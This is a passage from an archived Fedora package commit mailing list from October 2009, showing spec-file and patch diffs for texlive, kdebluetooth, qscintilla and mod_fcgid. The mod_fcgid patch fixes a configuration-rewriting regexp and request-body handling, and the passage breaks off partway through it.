 cat <<EOF > %{buildroot}%{_sysconfdir}/rpm/macros.texlive
@@ -589,9 +592,9 @@ fi
 %{_texmf_main}/bibtex/bst/[a-b]*/
 %{_texmf_main}/bibtex/bst/camel/
 %{_texmf_main}/bibtex/bst/[d-x]*/
-%dir %{_texmf_main}/dvipdfm
-%dir %{_texmf_main}/dvipdfm/config
-%{_texmf_main}/dvipdfm/config/config
+#%dir %{_texmf_main}/dvipdfm
+#%dir %{_texmf_main}/dvipdfm/config
+#%{_texmf_main}/dvipdfm/config/config
 %dir %{_texmf_main}/fmtutil
 %{_texmf_main}/makeindex/
 %{_texmf_main}/metafont/
@@ -828,6 +831,10 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
+- do not conflict with dvipdfm
+- update perl requires filter
+
 * Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-30
 - update latin.ldf (#469948)
 - do not provide any perl dependencies (#516350)



From rdieter at fedoraproject.org  Wed Oct 21 13:13:07 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 13:13:07 +0000 (UTC)
Subject: rpms/kdebluetooth/devel kdebluetooth.spec,1.23,1.24
Message-ID: <20091021131307.33BC811C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebluetooth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5591

Modified Files:
	kdebluetooth.spec 
Log Message:
update URL



Index: kdebluetooth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebluetooth/devel/kdebluetooth.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- kdebluetooth.spec	25 Jul 2009 04:27:00 -0000	1.23
+++ kdebluetooth.spec	21 Oct 2009 13:13:06 -0000	1.24
@@ -5,7 +5,8 @@ Release:		4%{?dist}
 Epoch:			1
 License:		GPLv2+
 Group:			Applications/Communications
-URL:			http://bluetooth.kmobiletools.org/
+#URL:			http://bluetooth.kmobiletools.org/
+URL:			http://techbase.kde.org/Kbluetooth
 Source0:		http://downloads.sourceforge.net/kde-bluetooth/%{name}4-%{version}.tar.bz2
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 



From rdieter at fedoraproject.org  Wed Oct 21 13:24:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 21 Oct 2009 13:24:36 +0000 (UTC)
Subject: rpms/qscintilla/devel QScintilla-gpl-2.4-autocomplete_popup.patch, 
	NONE, 1.1 QScintilla-gpl-2.4-qt4_designer_incpath.patch, NONE,
	1.1 qscintilla.spec, 1.30,
	1.31 QScintilla-2-gpl-Qt4-incpath.patch, 1.2, NONE
Message-ID: <20091021132436.7C42411C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qscintilla/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8521

Modified Files:
	qscintilla.spec 
Added Files:
	QScintilla-gpl-2.4-autocomplete_popup.patch 
	QScintilla-gpl-2.4-qt4_designer_incpath.patch 
Removed Files:
	QScintilla-2-gpl-Qt4-incpath.patch 
Log Message:
* Wed Oct 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.4-6
- autocomplete_popup patch


QScintilla-gpl-2.4-autocomplete_popup.patch:
 SciClasses.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE QScintilla-gpl-2.4-autocomplete_popup.patch ---
diff -up QScintilla-gpl-2.4/Qt4/SciClasses.cpp.autocomplete_popup QScintilla-gpl-2.4/Qt4/SciClasses.cpp
--- QScintilla-gpl-2.4/Qt4/SciClasses.cpp.autocomplete_popup	2009-06-05 04:00:41.000000000 -0500
+++ QScintilla-gpl-2.4/Qt4/SciClasses.cpp	2009-10-21 07:56:58.804972430 -0500
@@ -128,7 +128,7 @@ void SciPopup::on_triggered(int cmd)
 SciListBox::SciListBox(QWidget *parent, ListBoxQt *lbx_)
     : QListWidget(parent), lbx(lbx_)
 {
-    setWindowFlags(Qt::Tool|Qt::FramelessWindowHint);
+    setWindowFlags(Qt::ToolTip|Qt::WindowStaysOntopHint);
     setAttribute(Qt::WA_StaticContents);
 
     setFocusProxy(parent);

QScintilla-gpl-2.4-qt4_designer_incpath.patch:
 designer.pro |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE QScintilla-gpl-2.4-qt4_designer_incpath.patch ---
diff -up QScintilla-gpl-2.4/designer-Qt4/designer.pro.qt4_designer_incpath QScintilla-gpl-2.4/designer-Qt4/designer.pro
--- QScintilla-gpl-2.4/designer-Qt4/designer.pro.qt4_designer_incpath	2009-05-03 11:26:12.000000000 -0500
+++ QScintilla-gpl-2.4/designer-Qt4/designer.pro	2009-10-21 08:01:56.561731098 -0500
@@ -12,4 +12,6 @@ SOURCES = qscintillaplugin.cpp
 target.path = $$[QT_INSTALL_PLUGINS]/designer
 INSTALLS += target
 
-LIBS += -lqscintilla2
+LIBS += -L$(DESTDIR)../Qt4 -lqscintilla2
+
+INCPATH = $(DESTDIR)../Qt4


Index: qscintilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qscintilla/devel/qscintilla.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- qscintilla.spec	17 Oct 2009 03:05:36 -0000	1.30
+++ qscintilla.spec	21 Oct 2009 13:24:36 -0000	1.31
@@ -6,7 +6,7 @@
 
 Name:    qscintilla
 Version: 2.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: A Scintilla port to Qt
 # matches up (pretty much) with qt4
 License: GPLv3 or GPLv2 with exceptions
@@ -15,8 +15,11 @@ Url:     http://www.riverbankcomputing.c
 Source0: http://www.riverbankcomputing.com/static/Downloads/QScintilla2/QScintilla-gpl-%{version}.tar.gz  
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# TODO: upstream this
-Patch1:         QScintilla-2-gpl-Qt4-incpath.patch
+## Upstreamable patches
+# posted to upstream ml, not in archive yet
+Patch50: QScintilla-gpl-2.4-qt4_designer_incpath.patch 
+# http://www.riverbankcomputing.com/pipermail/qscintilla/2009-October/000496.html
+Patch51: QScintilla-gpl-2.4-autocomplete_popup.patch
 
 Obsoletes: qscintilla-designer < 2.4-3
 Provides:  qscintilla-designer = %{version}-%{release}
@@ -74,7 +77,8 @@ Obsoletes: qscintilla-python-devel < 2.4
 %prep
 %setup -q -n QScintilla-gpl-%{version}
 
-%patch1 -p1 -b .designer-incpath-qt4
+%patch50 -p1 -b .qt4_designer_incpath
+%patch51 -p1 -b .autocomplete_popup
 
 # fix permissions on doc files
 find doc example-Qt4  -type f -exec chmod 0644 {} ';'
@@ -97,10 +101,11 @@ popd
 
 %if 0%{?python}
 pushd Python
-%{__python} configure.py \
-            -c -j 3 \
-            -n ../Qt4 \
-            -o ../Qt4
+%{__python} \
+  configure.py \
+    -c -j 3 \
+    -n ../Qt4 \
+    -o ../Qt4
 make %{?_smp_mflags}
 popd
 %endif
@@ -156,6 +161,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 21 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.4-6
+- autocomplete_popup patch
+
 * Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.4-5
 - rebuild (PyQt4)
 


--- QScintilla-2-gpl-Qt4-incpath.patch DELETED ---



From pghmcfc at fedoraproject.org  Wed Oct 21 13:30:53 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Wed, 21 Oct 2009 13:30:53 +0000 (UTC)
Subject: rpms/mod_fcgid/F-12 mod_fcgid-2.3.4-svn827039.patch, NONE,
	1.1 mod_fcgid.spec, 1.22, 1.23
Message-ID: <20091021133053.CE56411C00E8@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/mod_fcgid/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10011/F-12

Modified Files:
	mod_fcgid.spec 
Added Files:
	mod_fcgid-2.3.4-svn827039.patch 
Log Message:
Add fixes from upstream svn for a number of issues, most notably that the fixconf script had an error in the regexp, which resulted in a prefix of 'FcgidFcgid' on the updated directives

mod_fcgid-2.3.4-svn827039.patch:
 CHANGES-FCGID                     |   19 +++++++
 build/fixconf.sed                 |   64 +++++++++++++-------------
 docs/manual/mod/mod_fcgid.html.en |    6 ++
 docs/manual/mod/mod_fcgid.xml     |    6 ++
 modules/fcgid/fcgid_bridge.c      |   91 ++++++++++++++++++++++----------------
 modules/fcgid/fcgid_conf.c        |   27 ++++++-----
 modules/fcgid/fcgid_conf.h        |    3 -
 modules/fcgid/fcgid_pm.h          |    2 
 modules/fcgid/fcgid_pm_main.c     |    4 -
 modules/fcgid/fcgid_pm_unix.c     |    6 +-
 modules/fcgid/fcgid_pm_win.c      |    6 +-
 modules/fcgid/fcgid_proc_unix.c   |   27 ++++++++++-
 modules/fcgid/fcgid_proc_win.c    |   10 ++--
 13 files changed, 174 insertions(+), 97 deletions(-)

--- NEW FILE mod_fcgid-2.3.4-svn827039.patch ---
Index: build/fixconf.sed
===================================================================
--- build/fixconf.sed	(revision 823071)
+++ build/fixconf.sed	(working copy)
@@ -53,35 +53,35 @@
 s/^ZombieScanInterval/FcgidZombieScanInterval/g
 # Next we fix all other occurences without matching
 # the ones, that are already OK
-s/\([^D]\)BusyScanInterval/\1FcgidBusyScanInterval/g
-s/\([^D]\)BusyTimeout/\1FcgidBusyTimeout/g
-s/\([^D]\)DefaultInitEnv/\1FcgidInitialEnv/g
-s/\([^D]\)DefaultMaxClassProcessCount/\1FcgidMaxProcessesPerClass/g
-s/\([^D]\)DefaultMinClassProcessCount/\1FcgidMinProcessesPerClass/g
-s/\([^D]\)ErrorScanInterval/\1FcgidErrorScanInterval/g
-s/\([^D]\)FastCgiAccessChecker/\1FcgidAccessChecker/g
-s/\([^D]\)FastCgiAccessCheckerAuthoritative/\1FcgidAccessCheckerAuthoritative/g
-s/\([^D]\)FastCgiAuthenticator/\1FcgidAuthenticator/g
-s/\([^D]\)FastCgiAuthenticatorAuthoritative/\1FcgidAuthenticatorAuthoritative/g
-s/\([^D]\)FastCgiAuthorizer/\1FcgidAuthorizer/g
-s/\([^D]\)FastCgiAuthorizerAuthoritative/\1FcgidAuthorizerAuthoritative/g
-s/\([^D]\)FCGIWrapper/\1FcgidWrapper/g
-s/\([^D]\)IdleScanInterval/\1FcgidIdleScanInterval/g
-s/\([^D]\)IdleTimeout/\1FcgidIdleTimeout/g
-s/\([^D]\)IPCCommTimeout/\1FcgidIOTimeout/g
-s/\([^D]\)IPCConnectTimeout/\1FcgidConnectTimeout/g
-s/\([^D]\)MaxProcessCount/\1FcgidMaxProcesses/g
-s/\([^D]\)MaxRequestInMem/\1FcgidMaxRequestInMem/g
-s/\([^D]\)MaxRequestLen/\1FcgidMaxRequestLen/g
-s/\([^D]\)MaxRequestsPerProcess/\1FcgidMaxRequestsPerProcess/g
-s/\([^D]\)OutputBufferSize/\1FcgidOutputBufferSize/g
-s/\([^D]\)PassHeader/\1FcgidPassHeader/g
-s/\([^D]\)PHP_Fix_Pathinfo_Enable/\1FcgidFixPathinfo/g
-s/\([^D]\)ProcessLifeTime/\1FcgidProcessLifeTime/g
-s/\([^D]\)SharememPath/\1FcgidProcessTableFile/g
-s/\([^D]\)SocketPath/\1FcgidIPCDir/g
-s/\([^D]\)SpawnScore/\1FcgidSpawnScore/g
-s/\([^D]\)SpawnScoreUpLimit/\1FcgidSpawnScoreUpLimit/g
-s/\([^D]\)TerminationScore/\1FcgidTerminationScore/g
-s/\([^D]\)TimeScore/\1FcgidTimeScore/g
-s/\([^D]\)ZombieScanInterval/\1FcgidZombieScanInterval/g
+s/\([^d]\)BusyScanInterval/\1FcgidBusyScanInterval/g
+s/\([^d]\)BusyTimeout/\1FcgidBusyTimeout/g
+s/\([^d]\)DefaultInitEnv/\1FcgidInitialEnv/g
+s/\([^d]\)DefaultMaxClassProcessCount/\1FcgidMaxProcessesPerClass/g
+s/\([^d]\)DefaultMinClassProcessCount/\1FcgidMinProcessesPerClass/g
+s/\([^d]\)ErrorScanInterval/\1FcgidErrorScanInterval/g
+s/\([^d]\)FastCgiAccessChecker/\1FcgidAccessChecker/g
+s/\([^d]\)FastCgiAccessCheckerAuthoritative/\1FcgidAccessCheckerAuthoritative/g
+s/\([^d]\)FastCgiAuthenticator/\1FcgidAuthenticator/g
+s/\([^d]\)FastCgiAuthenticatorAuthoritative/\1FcgidAuthenticatorAuthoritative/g
+s/\([^d]\)FastCgiAuthorizer/\1FcgidAuthorizer/g
+s/\([^d]\)FastCgiAuthorizerAuthoritative/\1FcgidAuthorizerAuthoritative/g
+s/\([^d]\)FCGIWrapper/\1FcgidWrapper/g
+s/\([^d]\)IdleScanInterval/\1FcgidIdleScanInterval/g
+s/\([^d]\)IdleTimeout/\1FcgidIdleTimeout/g
+s/\([^d]\)IPCCommTimeout/\1FcgidIOTimeout/g
+s/\([^d]\)IPCConnectTimeout/\1FcgidConnectTimeout/g
+s/\([^d]\)MaxProcessCount/\1FcgidMaxProcesses/g
+s/\([^d]\)MaxRequestInMem/\1FcgidMaxRequestInMem/g
+s/\([^d]\)MaxRequestLen/\1FcgidMaxRequestLen/g
+s/\([^d]\)MaxRequestsPerProcess/\1FcgidMaxRequestsPerProcess/g
+s/\([^d]\)OutputBufferSize/\1FcgidOutputBufferSize/g
+s/\([^d]\)PassHeader/\1FcgidPassHeader/g
+s/\([^d]\)PHP_Fix_Pathinfo_Enable/\1FcgidFixPathinfo/g
+s/\([^d]\)ProcessLifeTime/\1FcgidProcessLifeTime/g
+s/\([^d]\)SharememPath/\1FcgidProcessTableFile/g
+s/\([^d]\)SocketPath/\1FcgidIPCDir/g
+s/\([^d]\)SpawnScore/\1FcgidSpawnScore/g
+s/\([^d]\)SpawnScoreUpLimit/\1FcgidSpawnScoreUpLimit/g
+s/\([^d]\)TerminationScore/\1FcgidTerminationScore/g
+s/\([^d]\)TimeScore/\1FcgidTimeScore/g
+s/\([^d]\)ZombieScanInterval/\1FcgidZombieScanInterval/g
Index: CHANGES-FCGID
===================================================================
--- CHANGES-FCGID	(revision 823071)
+++ CHANGES-FCGID	(working copy)
@@ -1,4 +1,23 @@
                                                          -*- coding: utf-8 -*-
+Changes with mod_fcgid 2.3.5
+
+  *) Fix a bug in fixconf.sed that resulted in a prefix of "FcgidFcgid" on the
+     updated directives.  [Dan Hulme <dhulme gmail.com>]
+
+  *) Fix possible corruption or truncation of request bodies which exceed
+     FcgidMaxRequestInMem.  This is a regression since mod_fcgid 2.2, which
+     effectively ignored FcgidMaxRequestInMem if larger than 8K.  PR 48021.
+     [Jeff Trawick]
+
+  *) Fix handling of the request body when a FastCGI access checker/
+     authenticator/authorizer (AAA) was configured.  The body wasn't available
+     for the request handler.  PR 47973.
+     [Jeff Trawick, Barry Scott <barry.scott onelan.co.uk>]
+
+  *) Fix handling of FcgidCmdOptions so that it can apply to wrapper scripts
+     which were defined with command-line arguments on the FcgidWrapper
+     directive.  [Jeff Trawick]
+
 Changes with mod_fcgid 2.3.4
 
   *) Corrected unix 'make install' target regression in 2.3.3.  [Jeff Trawick]
Index: docs/manual/mod/mod_fcgid.html.en
===================================================================
--- docs/manual/mod/mod_fcgid.html.en	(revision 823071)
+++ docs/manual/mod/mod_fcgid.html.en	(working copy)
@@ -827,6 +827,9 @@
       <code class="directive"><a href="#fcgidminprocessesperclass">FcgidMinProcessesPerClass</a></code>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This idle timeout check is performed at the frequency of the configured 
+      <code class="directive"><a href="#fcgididlescaninterval">FcgidIdleScanInterval</a></code>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <code class="directive"><a href="#fcgidcmdoptions">FcgidCmdOptions</a></code> to apply
@@ -1077,6 +1080,9 @@
       <code class="directive"><a href="#fcgidminprocessesperclass">FcgidMinProcessesPerClass</a></code>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This process lifetime check is performed at the frequency of the configured 
+      <code class="directive"><a href="#fcgididlescaninterval">FcgidIdleScanInterval</a></code>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <code class="directive"><a href="#fcgidcmdoptions">FcgidCmdOptions</a></code> to apply
Index: docs/manual/mod/mod_fcgid.xml
===================================================================
--- docs/manual/mod/mod_fcgid.xml	(revision 823071)
+++ docs/manual/mod/mod_fcgid.xml	(working copy)
@@ -778,6 +778,9 @@
       <directive module="mod_fcgid">FcgidMinProcessesPerClass</directive>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This idle timeout check is performed at the frequency of the configured 
+      <directive module="mod_fcgid">FcgidIdleScanInterval</directive>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <directive module="mod_fcgid">FcgidCmdOptions</directive> to apply
@@ -969,6 +972,9 @@
       <directive module="mod_fcgid">FcgidMinProcessesPerClass</directive>.
       A value of <code>0</code> disables the check.</p>
 
+      <p>This process lifetime check is performed at the frequency of the configured 
+      <directive module="mod_fcgid">FcgidIdleScanInterval</directive>.</p>
+
       <p>This setting will apply to all applications spawned for this
       server or virtual host.  Use 
       <directive module="mod_fcgid">FcgidCmdOptions</directive> to apply
Index: modules/fcgid/fcgid_proc_unix.c
===================================================================
--- modules/fcgid/fcgid_proc_unix.c	(revision 823071)
+++ modules/fcgid/fcgid_proc_unix.c	(working copy)
@@ -259,6 +259,17 @@
         return errno;
     }
 
+    /* IPC directory permissions are safe, but avoid confusion */
+    /* Not all flavors of unix use the current umask for AF_UNIX perms */
+
+    rv = apr_file_perms_set(unix_addr.sun_path, APR_FPROT_UREAD|APR_FPROT_UWRITE|APR_FPROT_UEXECUTE);
+    if (rv != APR_SUCCESS) {
+        ap_log_error(APLOG_MARK, APLOG_CRIT, rv, main_server,
+                     "mod_fcgid: Couldn't set permissions on unix domain socket %s",
+                     unix_addr.sun_path);
+        return rv;
+    }
+
     /* Listen the socket */
     if (listen(unix_socket, DEFAULT_FCGID_LISTENBACKLOG) < 0) {
         ap_log_error(APLOG_MARK, APLOG_ERR, errno, main_server,
@@ -747,8 +758,11 @@
         apr_size_t len;
         const char* base;
         if ((rv = apr_bucket_read(e, &base, &len,
-                                  APR_BLOCK_READ)) != APR_SUCCESS)
+                                  APR_BLOCK_READ)) != APR_SUCCESS) {
+            ap_log_rerror(APLOG_MARK, APLOG_WARNING, rv, ipc_handle->request,
+                          "mod_fcgid: can't read request from bucket");
             return rv;
+        }
 
         vec[nvec].iov_len = len;
         vec[nvec].iov_base = (char*) base;
Index: modules/fcgid/fcgid_proc_win.c
===================================================================
--- modules/fcgid/fcgid_proc_win.c	(revision 823071)
+++ modules/fcgid/fcgid_proc_win.c	(working copy)
@@ -59,7 +59,7 @@
     return APR_SUCCESS;
 }
 
-apr_status_t proc_spawn_process(char *wrapperpath, fcgid_proc_info *procinfo,
+apr_status_t proc_spawn_process(char *wrapper_cmdline, fcgid_proc_info *procinfo,
                                 fcgid_procnode *procnode)
 {
     HANDLE *finish_event, listen_handle;
@@ -79,7 +79,7 @@
 
     /* Build wrapper args */
     argc = 0;
-    tmp = wrapperpath;
+    tmp = wrapper_cmdline;
     while (1) {
         word = ap_getword_white(procnode->proc_pool, &tmp);
         if (word == NULL || *word == '\0')
@@ -165,7 +165,7 @@
                != APR_SUCCESS
         || (rv = apr_procattr_dir_set(proc_attr,
                      ap_make_dirstr_parent(procnode->proc_pool,
-                         (wrapperpath && wrapperpath[0] != '\0') 
+                         (wrapper_cmdline && wrapper_cmdline[0] != '\0') 
                               ? wargv[0] : procinfo->cgipath))) != APR_SUCCESS
         || (rv = apr_procattr_cmdtype_set(proc_attr, APR_PROGRAM))
                != APR_SUCCESS
@@ -184,10 +184,10 @@
     }
 
     /* fork and exec now */
-    if (wrapperpath != NULL && wrapperpath[0] != '\0') {
+    if (wrapper_cmdline != NULL && wrapper_cmdline[0] != '\0') {
         ap_log_error(APLOG_MARK, APLOG_NOTICE, 0, procinfo->main_server,
                      "mod_fcgid: call %s with wrapper %s",
-                     procinfo->cgipath, wrapperpath);
+                     procinfo->cgipath, wrapper_cmdline);
         if ((rv = apr_proc_create(procnode->proc_id, wargv[0],
                                   wargv, proc_environ, proc_attr,
                                   procnode->proc_pool)) != APR_SUCCESS) {
Index: modules/fcgid/fcgid_pm_main.c
===================================================================
--- modules/fcgid/fcgid_pm_main.c	(revision 823071)
+++ modules/fcgid/fcgid_pm_main.c	(working copy)
@@ -531,9 +531,9 @@
     }
 
     /* Spawn the process now */
-    /* XXX Spawn uses wrapperpath, but log uses cgipath ? */
+    /* XXX Spawn uses wrapper_cmdline, but log uses cgipath ? */
     if ((rv =
-        proc_spawn_process(command->wrapperpath, &procinfo,
+        proc_spawn_process(command->wrapper_cmdline, &procinfo,
                            procnode)) != APR_SUCCESS) {
         ap_log_error(APLOG_MARK, APLOG_WARNING, rv, main_server,
                      "mod_fcgid: spawn process %s error",
Index: modules/fcgid/fcgid_conf.c
===================================================================
--- modules/fcgid/fcgid_conf.c	(revision 823071)
+++ modules/fcgid/fcgid_conf.c	(working copy)
@@ -748,8 +748,11 @@
     apr_size_t cur_id;
 } wrapper_id_info;
 
+/* FIXME thread safety issues when FcgidWrapper is used in .htaccess;
+ * see use of pconf
+ */
 const char *set_wrapper_config(cmd_parms * cmd, void *dirconfig,
-                               const char *wrapperpath,
+                               const char *wrapper_cmdline,
                                const char *extension,
                                const char *virtual)
 {
@@ -760,13 +763,11 @@
     wrapper_id_info *id_info;
     apr_size_t *wrapper_id;
     fcgid_wrapper_conf *wrapper = NULL;
+    apr_pool_t *wrapper_conf_pool = cmd->server->process->pconf; /* bad */
     fcgid_dir_conf *config = (fcgid_dir_conf *) dirconfig;
 
     /* Sanity checks */
 
-    if (wrapperpath == NULL)
-        return "Invalid wrapper file";
-
     if (virtual == NULL && extension != NULL && !strcasecmp(extension, WRAPPER_FLAG_VIRTUAL)) {
         virtual = WRAPPER_FLAG_VIRTUAL;
         extension = NULL;
@@ -798,21 +799,21 @@
                               apr_pool_cleanup_null,
                               cmd->server->process->pool);
     }
-    /* Get wrapper_id for wrapperpath */
+    /* Get wrapper_id for wrapper_cmdline */
     if ((wrapper_id =
-         apr_hash_get(id_info->wrapper_id_hash, wrapperpath,
-                      strlen(wrapperpath))) == NULL) {
+         apr_hash_get(id_info->wrapper_id_hash, wrapper_cmdline,
+                      strlen(wrapper_cmdline))) == NULL) {
         wrapper_id =
             apr_pcalloc(cmd->server->process->pool, sizeof(*wrapper_id));
         *wrapper_id = id_info->cur_id++;
-        apr_hash_set(id_info->wrapper_id_hash, wrapperpath,
-                     strlen(wrapperpath), wrapper_id);
+        apr_hash_set(id_info->wrapper_id_hash, wrapper_cmdline,
+                     strlen(wrapper_cmdline), wrapper_id);
     }
 
-    wrapper = apr_pcalloc(cmd->server->process->pconf, sizeof(*wrapper));
+    wrapper = apr_pcalloc(wrapper_conf_pool, sizeof(*wrapper));
 
     /* Get wrapper path */
-    tmp = wrapperpath;
+    tmp = wrapper_cmdline;
     path = ap_getword_white(cmd->temp_pool, &tmp);
     if (path == NULL || *path == '\0')
         return "Invalid wrapper config";
@@ -823,7 +824,9 @@
         return missing_file_msg(cmd->pool, "Wrapper", path, rv);
     }
 
-    apr_cpystrn(wrapper->args, wrapperpath, _POSIX_PATH_MAX);
+    wrapper->exe = apr_pstrdup(wrapper_conf_pool, path);
+    /* FIXME no need to embed in structure (subject to correct pool usage) */
+    apr_cpystrn(wrapper->args, wrapper_cmdline, _POSIX_PATH_MAX);
     wrapper->inode = finfo.inode;
     wrapper->deviceid = finfo.device;
     wrapper->share_group_id = *wrapper_id;
Index: modules/fcgid/fcgid_pm_win.c
===================================================================
--- modules/fcgid/fcgid_pm_win.c	(revision 823071)
+++ modules/fcgid/fcgid_pm_win.c	(working copy)
@@ -140,13 +140,13 @@
     command->virtualhost = r->server->server_hostname;
 
     /* Update fcgid_command with wrapper info */
-    command->wrapperpath[0] = '\0';
+    command->wrapper_cmdline[0] = '\0';
     if ((wrapperconf = get_wrapper_info(argv0, r))) {
-        apr_cpystrn(command->wrapperpath, wrapperconf->args, _POSIX_PATH_MAX);
+        apr_cpystrn(command->wrapper_cmdline, wrapperconf->args, _POSIX_PATH_MAX);
         command->deviceid = wrapperconf->deviceid;
         command->inode = wrapperconf->inode;
         command->share_grp_id = wrapperconf->share_group_id;
-        cmd_to_spawn = command->wrapperpath;
+        cmd_to_spawn = wrapperconf->exe;
     }
     else {
         cmd_to_spawn = command->cgipath;
Index: modules/fcgid/fcgid_pm_unix.c
===================================================================
--- modules/fcgid/fcgid_pm_unix.c	(revision 823071)
+++ modules/fcgid/fcgid_pm_unix.c	(working copy)
@@ -411,13 +411,13 @@
     command->virtualhost = r->server->server_hostname;
 
     /* Update fcgid_command with wrapper info */
-    command->wrapperpath[0] = '\0';
+    command->wrapper_cmdline[0] = '\0';
     if ((wrapperconf = get_wrapper_info(argv0, r))) {
-        apr_cpystrn(command->wrapperpath, wrapperconf->args, _POSIX_PATH_MAX);
+        apr_cpystrn(command->wrapper_cmdline, wrapperconf->args, _POSIX_PATH_MAX);
         command->deviceid = wrapperconf->deviceid;
         command->inode = wrapperconf->inode;
         command->share_grp_id = wrapperconf->share_group_id;
-        cmd_to_spawn = command->wrapperpath;
+        cmd_to_spawn = wrapperconf->exe;
     }
     else {
         cmd_to_spawn = command->cgipath;
Index: modules/fcgid/fcgid_pm.h
===================================================================
--- modules/fcgid/fcgid_pm.h	(revision 823071)
+++ modules/fcgid/fcgid_pm.h	(working copy)
@@ -22,7 +22,7 @@
 
 typedef struct {
     char cgipath[_POSIX_PATH_MAX];
-    char wrapperpath[_POSIX_PATH_MAX];
+    char wrapper_cmdline[_POSIX_PATH_MAX];
     apr_ino_t inode;
     dev_t deviceid;
     apr_size_t share_grp_id;
Index: modules/fcgid/fcgid_bridge.c
===================================================================
--- modules/fcgid/fcgid_bridge.c	(revision 823071)
+++ modules/fcgid/fcgid_bridge.c	(working copy)
@@ -376,8 +376,6 @@
     if ((rv =
          proc_write_ipc(&bucket_ctx->ipc,
                         output_brigade)) != APR_SUCCESS) {
-        ap_log_rerror(APLOG_MARK, APLOG_WARNING, rv, r,
-                      "mod_fcgid: error writing data to FastCGI server");
         bucket_ctx->has_error = 1;
         return HTTP_INTERNAL_SERVER_ERROR;
     }
@@ -437,39 +435,18 @@
     return cond_status;
 }
 
-int bridge_request(request_rec * r, int role, const char *argv0,
-                   fcgid_wrapper_conf * wrapper_conf)
+static int add_request_body(request_rec *r, apr_pool_t *request_pool,
+                            apr_bucket_brigade *output_brigade)
 {
-    apr_pool_t *request_pool = r->main ? r->main->pool : r->pool;
-    server_rec *s = r->server;
-    fcgid_server_conf *sconf = ap_get_module_config(s->module_config,
+    apr_bucket *bucket_input, *bucket_header;
+    apr_file_t *fd = NULL;
+    apr_off_t cur_pos = 0, request_size = 0;
+    apr_status_t rv;
+    FCGI_Header *stdin_request_header;
+    fcgid_server_conf *sconf = ap_get_module_config(r->server->module_config,
                                                     &fcgid_module);
-    apr_status_t rv = APR_SUCCESS;
     int seen_eos;
-    apr_off_t request_size = 0;
-    apr_file_t *fd = NULL;
-    int need_truncate = 1;
-    apr_off_t cur_pos = 0;
-    FCGI_Header *stdin_request_header;
-    apr_bucket_brigade *output_brigade;
-    apr_bucket *bucket_input, *bucket_header, *bucket_eos;
-    char **envp = ap_create_environment(request_pool,
-                                        r->subprocess_env);
 
-    /* Create brigade for the request to fastcgi server */
-    output_brigade =
-        apr_brigade_create(request_pool, r->connection->bucket_alloc);
-
-    /* Build the begin request and environ request, append them to output_brigade */
-    if (!build_begin_block
-        (role, r, r->connection->bucket_alloc, output_brigade)
-        || !build_env_block(r, envp, r->connection->bucket_alloc,
-                            output_brigade)) {
-        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,
-                      "mod_fcgid: can't build begin or env request");
-        return HTTP_INTERNAL_SERVER_ERROR;
-    }
-
     /* Stdin header and body */
     /* XXX HACK: I have to read all the request into memory before sending it 
        to fastcgi application server, this prevents slow clients from 
@@ -548,6 +525,15 @@
                     apr_pool_userdata_get(&tmp, fd_key,
                                           r->connection->pool);
                     fd = tmp;
+
+                    if (fd != NULL) {
+                        if ((rv = apr_file_trunc(fd, 0)) != APR_SUCCESS) {
+                            ap_log_rerror(APLOG_MARK, APLOG_WARNING, rv, r,
+                                          "mod_fcgid: can't truncate existing "
+                                          "temporary file");
+                            return HTTP_INTERNAL_SERVER_ERROR;
+                        }
+                    }
                 }
 
                 if (fd == NULL) {
@@ -574,12 +560,9 @@
                     apr_pool_userdata_set((const void *) fd, fd_key,
                                           apr_pool_cleanup_null,
                                           r->connection->pool);
-                } else if (need_truncate) {
-                    need_truncate = 0;
-                    apr_file_trunc(fd, 0);
-                    cur_pos = 0;
                 }
-                // Write request to tmp file
+
+                /* Write request to tmp file */
                 if ((rv =
                      apr_file_write_full(fd, (const void *) data, len,
                                          &wrote_len)) != APR_SUCCESS
@@ -589,7 +572,7 @@
                                   "mod_fcgid: can't write tmp file for stdin request");
                     return HTTP_INTERNAL_SERVER_ERROR;
                 }
-                // Create file bucket
+                /* Create file bucket */
                 bucket_stdin =
                     apr_bucket_file_create(fd, cur_pos, len, r->pool,
                                            r->connection->bucket_alloc);
@@ -640,6 +623,40 @@
     }
     APR_BRIGADE_INSERT_TAIL(output_brigade, bucket_header);
 
+    return 0;
+}
+
